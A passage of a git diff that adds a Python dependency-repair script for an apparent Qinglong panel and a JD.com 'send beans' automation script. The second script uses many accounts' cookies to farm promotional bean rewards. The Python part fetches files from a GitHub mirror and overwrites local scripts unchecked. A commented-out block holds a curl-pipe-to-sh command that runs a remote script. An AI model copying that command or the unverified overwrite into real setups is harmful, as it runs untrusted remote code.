encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("." + file_path + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir(file_path + "utils") + else: + utils_list = os.listdir("." + file_path + "utils") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "utils") + utils_list = os.listdir(file_path + "utils") + else: + os.makedirs("." + file_path + "utils") + utils_list = os.listdir("." + file_path + "utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 {}utils/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}utils/{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open(file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}utils/{}".format(file_path, i)) + else: + print("更新文件 {}utils/{}".format(file_path, i)) + with open("." + file_path + "utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir(file_path + "function") + else: + function_list = os.listdir("." + file_path + "function") + except: + if "db" in os.listdir("../"): + os.makedirs(file_path + "function") + function_list = os.listdir(file_path + "function") + else: + os.makedirs("." + file_path + "function") + function_list = os.listdir("." + file_path + "function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 {}function/{}".format(file_path, i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}function/{}".format(file_path, i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open(file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("." + file_path + "function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 {}function/{}".format(file_path, i)) + else: + print("更新文件 {}function/{}".format(file_path, i)) + with open('.' + file_path + "function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +def check_root(): + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/contents.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_name = [] + for i in res: + dependence_scripts_name.append(i["name"]) + + if "db" in os.listdir("../"): + dir_list = os.listdir("./") + else: + dir_list = os.listdir("../") + + # 查询 + for i in dependence_scripts_name: + if i not in dir_list and i != "utils" and i != "function": + print("缺失文件 {}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 {}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + if "db" in os.listdir("../"): + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_name: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open(i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open(i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/" + i).text + d = f.read() + if r == d: + print("无需修改 {}".format(i)) + else: + print("更新文件 {}".format(i)) + with open("../" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + ######################################################################################################### + + # utils + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/utils.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_utils = [] + for i in res: + dependence_scripts_utils.append(i["name"]) + + try: + if "db" in os.listdir("../"): + utils_list = os.listdir("./utils") + else: + utils_list = os.listdir("../utils") + except: + if "db" in os.listdir("../"): + os.makedirs("utils") + utils_list = os.listdir("./utils") + else: + os.makedirs("../utils") + utils_list = os.listdir("../utils") + + # 查询 + for i in dependence_scripts_utils: + if i not in utils_list and i != "utils" and i != "function": + print("缺失文件 utils/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 utils/{}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + if "db" in os.listdir("../"): + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_utils: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("./utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../utils/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/utils/" + i).text + d = f.read() + if r == d: + print("已存在文件 utils/{}".format(i)) + else: + print("更新文件 utils/{}".format(i)) + with open("../utils/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + #################################################################################################### + + # function + + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络波动,稍后尝试") + time.sleep(5) + try: + res = requests.get("https://cdn.jsdelivr.net/gh/spiritLHL/dependence_scripts@master/function.json").json() + except: + print("网络问题无法获取仓库文件列表,终止检索") + return + + dependence_scripts_function = [] + for i in res: + dependence_scripts_function.append(i["name"]) + + try: + if "db" in os.listdir("../"): + function_list = os.listdir("./function") + else: + function_list = os.listdir("../function") + except: + if "db" in os.listdir("../"): + os.makedirs("function") + function_list = os.listdir("./function") + else: + os.makedirs("../function") + function_list = os.listdir("../function") + + # 查询 + for i in dependence_scripts_function: + if i not in function_list and i != "utils" and i != "function": + print("缺失文件 function/{}".format(i)) + # 修补 + try: + if fix == 1: + print("增加文件 function/{}".format(i)) + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + if "db" in os.listdir("../"): + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + except: + temp = 1 + + try: + if temp == 1: + print("未配置ec_fix_dep,默认不修复增加缺失的依赖文件") + except: + pass + + # 更新 + try: + if ref == 1: + for i in dependence_scripts_function: + if i != "utils" and i != "function": + if "db" in os.listdir("../"): + with open("./function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("./function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + else: + with open("../function/" + i, "r", encoding="utf-8") as f: + r = requests.get( + "https://cdn.jsdelivr.net/gh/spiritlhl/dependence_scripts@master/function/" + i).text + d = f.read() + if r == d: + print("已存在文件 function/{}".format(i)) + else: + print("更新文件 function/{}".format(i)) + with open("../function/" + i, "w", encoding="utf-8") as fe: + fe.write(r) + + except: + print("未配置ec_ref_dep,默认不更新依赖文件") + + +if __name__ == '__main__': + + # 针对青龙拉取仓库后单个仓库单个文件夹的情况对每个文件夹进行检测,不需要可以注释掉 开始到结束的部分 + + ### 开始 + if "db" in os.listdir("../"): + dirs_ls = traversalDir_FirstDir("./") + else: + dirs_ls = traversalDir_FirstDir("../") + + # script根目录默认存在的文件夹,放入其中的文件夹不再检索其内依赖完整性 + or_list = ['node_modules', '__pycache__', 'utils', '.pnpm-store', 'function', 'tools', 'backUp', '.git', '.idea', '.github'] + + print() + for i in dirs_ls: + if i not in or_list: + file_path = "./" + i + "/" + print("检测依赖文件是否完整路径 {}".format(file_path)) + check_dependence(file_path) + print() + + ### 结束 + + # 检测根目录,不需要可以注释掉下面这行,旧版本只需要保留下面这行 + check_root() + + print("检测完毕") + + if fix == 1: + print("修复完毕后脚本无法运行,显示缺依赖文件,大概率库里没有或者依赖文件同名但内容不一样,请另寻他法\n") + print("修复完毕后缺依赖环境导致的脚本无法运行,这种无法修复,请自行在依赖管理中添加\n") + print("如果运行完本脚本仍然出错,请使用Faker一键部署脚本重新部署") + +# 待开发 +# 修复依赖环境 +# export ec_add_dep="true" +# docker exec -it qinglong bash -c "$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/FlechazoPh/QLDependency/main/Shell/QLOneKeyDependency.sh | sh)" +# try: +# if os.environ["ec_add_dep"] == "true": +# pass +# except: +# pass +# text = os.popen("$(curl -fsSL https://ghproxy.com/https://raw.githubusercontent.com/FlechazoPh/QLDependency/main/Shell/QLOneKeyDependency.sh | sh)").read() +# print(text) \ No newline at end of file diff --git a/jd_sendBeans.js b/jd_sendBeans.js new file mode 100644 index 0000000..639b1da --- /dev/null +++ b/jd_sendBeans.js @@ -0,0 +1,555 @@ +/* +送豆得豆 +活动入口:来客有礼小程序 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#送豆得豆 +45 1,12 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, tag=送豆得豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +================Loon============== +[Script] +cron "45 1,12 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js,tag=送豆得豆 +===============Surge================= +送豆得豆 = type=cron,cronexp="45 1,12 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js +============小火箭========= +送豆得豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_sendBeans.js, cronexpr="45 1,12 * * *", timeout=3600, enable=true + */ +const $ = new Env('送豆得豆'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], isLoginInfo = {}; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.activityId = ''; + $.completeNumbers = ''; + console.log(`开始获取活动信息`); + for (let i = 0; (cookiesArr.length < 3 ? i < cookiesArr.length : i < 3) && $.activityId === ''; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.isLogin = true; + $.nickName = '' + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await getActivityInfo(); + } + if ($.activityId === '') { + console.log(`获取活动ID失败`); + return; + } + let openCount = Math.floor((Number(cookiesArr.length)-1)/Number($.completeNumbers)); + console.log(`\n共有${cookiesArr.length}个账号,前${openCount}个账号可以开团\n`); + $.openTuanList = []; + console.log(`前${openCount}个账号开始开团\n`); + for (let i = 0; i < cookiesArr.length && i < openCount; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await openTuan(); + } + console.log('\n开团信息\n'+JSON.stringify($.openTuanList)); + console.log(`\n开始互助\n`); + let ckList = getRandomArrayElements(cookiesArr,cookiesArr.length); + for (let i = 0; i < ckList.length && $.openTuanList.length > 0; i++) { + $.cookie = ckList[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue; + } + await helpMain(); + } + console.log(`\n开始领取奖励\n`); + for (let i = 0; i < cookiesArr.length && i < openCount; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await rewardMain(); + } + for (let i = 0; i < cookiesArr.length; i++) { + $.cookie = cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.nickName = '' + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (isLoginInfo[$.UserName] === false) { + + } else { + if (!isLoginInfo[$.UserName]) { + await TotalBean(); + isLoginInfo[$.UserName] = $.isLogin + } + } + if (!isLoginInfo[$.UserName]) continue + await myReward() + } +})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}); + +async function getActivityInfo(){ + $.activityList = []; + await getActivityList(); + if($.activityList.length === 0){ + return; + } + for (let i = 0; i < $.activityList.length; i++) { + if($.activityList[i].status !== 'NOT_BEGIN'){ + $.activityId = $.activityList[i].activeId; + $.activityCode = $.activityList[i].activityCode; + break; + } + } + await $.wait(3000); + $.detail = {}; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + console.log(`获取活动详情成功`); + } + $.completeNumbers = $.detail.activityInfo.completeNumbers; + console.log(`获取到的活动ID:${$.activityId},需要邀请${$.completeNumbers}人瓜分`); +} + +async function myReward(){ + return new Promise(async (resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://sendbeans.jd.com/common/api/bean/activity/myReward?itemsPerPage=10¤tPage=1&sendType=0&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + "Host": "sendbeans.jd.com", + "Origin": "https://sendbeans.jd.com", + "Cookie": $.cookie, + "app-id": "h5", + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://sendbeans.jd.com/dist/index.html", + "Accept-Encoding": "gzip, deflate, br", + "openId": "", + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, async (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + let canReward = false + for (let key of Object.keys(data.datas)) { + let vo = data.datas[key] + if (vo.status === 3 && vo.type === 2) { + canReward = true + $.rewardRecordId = vo.id + await rewardBean() + $.rewardRecordId = '' + } + } + if (!canReward) console.log(`没有可领取奖励`) + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }) +} + +async function getActivityList(){ + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://sendbeans.jd.com/common/api/bean/activity/get/entry/list/by/channel?channelId=14&channelType=H5&sendType=0&singleActivity=false&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + "Host": "sendbeans.jd.com", + "Origin": "https://sendbeans.jd.com", + "Cookie": $.cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://sendbeans.jd.com/dist/index.html", + "Accept-Encoding": "gzip, deflate, br", + "openId": "", + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success) { + $.activityList = data.data.items; + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }) +} + +async function openTuan(){ + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + if(!$.rewardRecordId){ + if(!$.detail.invited){ + await invite(); + await $.wait(1000); + await getActivityDetail(); + await $.wait(3000); + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); + } + }else{ + console.log(`【京东账号${$.index}】${$.UserName} 瓜分ID:${$.rewardRecordId}`); + } + $.openTuanList.push({ + 'user':$.UserName, + 'rewardRecordId':$.rewardRecordId, + 'completed':$.detail.completed, + 'rewardOk':$.detail.rewardOk + }); +} + +async function helpMain(){ + $.canHelp = true; + for (let j = 0; j < $.openTuanList.length && $.canHelp; j++) { + $.oneTuanInfo = $.openTuanList[j]; + if( $.UserName === $.oneTuanInfo['user']){ + continue; + } + if( $.oneTuanInfo['completed']){ + continue; + } + console.log(`${$.UserName}去助力${$.oneTuanInfo['user']}`); + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + await help(); + await $.wait(2000); + } +} + +async function rewardMain(){ + $.detail = {}; + $.rewardRecordId = ''; + await getActivityDetail(); + if(JSON.stringify($.detail) === '{}'){ + console.log(`获取活动详情失败`); + return; + }else{ + $.rewardRecordId = $.detail.rewardRecordId; + console.log(`获取活动详情成功`); + } + await $.wait(3000); + if($.rewardRecordId && $.detail.completed && !$.detail.rewardOk){ + await rewardBean(); + await $.wait(2000); + }else if($.rewardRecordId && $.detail.completed && $.detail.rewardOk){ + console.log(`奖励已领取`); + }else{ + console.log(`未满足条件,不可领取奖励`); + } +} +async function rewardBean(){ + return new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt).toString() + let options = { + "url": `https://draw.jdfcloud.com/common/api/bean/activity/sendBean?rewardRecordId=${$.rewardRecordId}&jdChannelId=&userSource=mp&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`, + "headers": { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + } + }; + $.get(options, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success){ + console.log(`领取豆子奖励成功`); + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(e); + } finally { + resolve(data); + } + }) + }); +} + +function getRandomArrayElements(arr, count) { + var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} + +async function help() { + await new Promise((resolve) => { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + let options = { + "url": `https://draw.jdfcloud.com/common/api/bean/activity/participate?activityCode=${$.activityCode}&activityId=${$.activityId}&inviteUserPin=${encodeURIComponent($.oneTuanInfo['user'])}&invokeKey=q8DNJdpcfRQ69gIx×tap=${Date.now()}`, + "headers": { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + } + }; + $.post(options, (err, resp, res) => { + try { + if (res) { + res = JSON.parse(res); + if(res.data.result === 5){ + $.oneTuanInfo['completed'] = true; + }else if(res.data.result === 0 || res.data.result === 1){ + $.canHelp = false; + } + console.log(JSON.stringify(res)); + } + } catch (e) { + console.log(e); + } finally { + resolve(res); + } + }) + }); +} + +async function invite() { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + const url = `https://draw.jdfcloud.com/common/api/bean/activity/invite?activityCode=${$.activityCode}&openId=&activityId=${$.activityId}&userSource=mp&formId=123&jdChannelId=&fp=&appId=wxccb5c536b0ecd1bf&invokeKey=q8DNJdpcfRQ69gIx`; + const method = `POST`; + const headers = { + 'content-type' : `application/json`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip,compress,br,deflate`, + 'App-Id' : `wxccb5c536b0ecd1bf`, + 'Lottery-Access-Signature' : `wxccb5c536b0ecd1bf1537237540544h79HlfU`, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.13(0x18000d2a) NetType/WIFI Language/zh_CN", + 'openId' : ``, + 'Host' : `draw.jdfcloud.com`, + 'Referer' : `https://servicewechat.com/wxccb5c536b0ecd1bf/755/page-frame.html`, + 'cookie' : $.cookie, + 'lkt': lkt, + 'lks': lks + }; + const body = `{}`; + const myRequest = { + url: url, + method: method, + headers: headers, + body: body + }; + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if(data.success){ + console.log(`发起瓜分成功`); + }else{ + console.log(JSON.stringify(data)); + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +async function getActivityDetail() { + let lkt = new Date().getTime() + let lks = $.md5('' + 'q8DNJdpcfRQ69gIx' + lkt + $.activityCode).toString() + const url = 